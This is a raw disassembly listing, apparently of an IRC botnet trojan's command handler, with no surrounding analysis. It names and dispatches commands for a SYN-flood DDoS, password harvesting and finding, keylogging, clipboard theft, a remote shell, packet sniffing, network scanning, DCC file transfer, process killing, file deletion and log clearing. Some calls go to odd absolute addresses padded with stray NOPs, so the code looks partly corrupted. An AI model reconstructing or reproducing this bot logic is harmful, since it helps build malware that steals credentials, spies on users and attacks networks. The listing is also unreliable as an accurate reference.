		mov	eax, offset dword_438088

loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410448

loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_410432
; ---------------------------------------------------------------------------

loc_410448:				; CODE XREF: sub_40EE72+15BEj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_437F7C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"

loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E50

loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------

loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B34
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE6
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AD1
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA7
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8E
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FC
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139D0
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413975
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41393A
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413850
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413832
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413751
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413716
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136CB
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413645
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]

loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410C86

loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_410C70
; ---------------------------------------------------------------------------

loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_437AF4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AA8
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A70
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A18
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379DC

loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379AC
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------

loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax

loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]

loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_43797C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410E3C

loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------

loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_437930

loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43F738, ebx
		jz	short loc_410EB2
		cmp	dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------

loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378AC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_43787C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1

loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1

loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------

loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_43782C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_4377FC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx

loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------

loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------

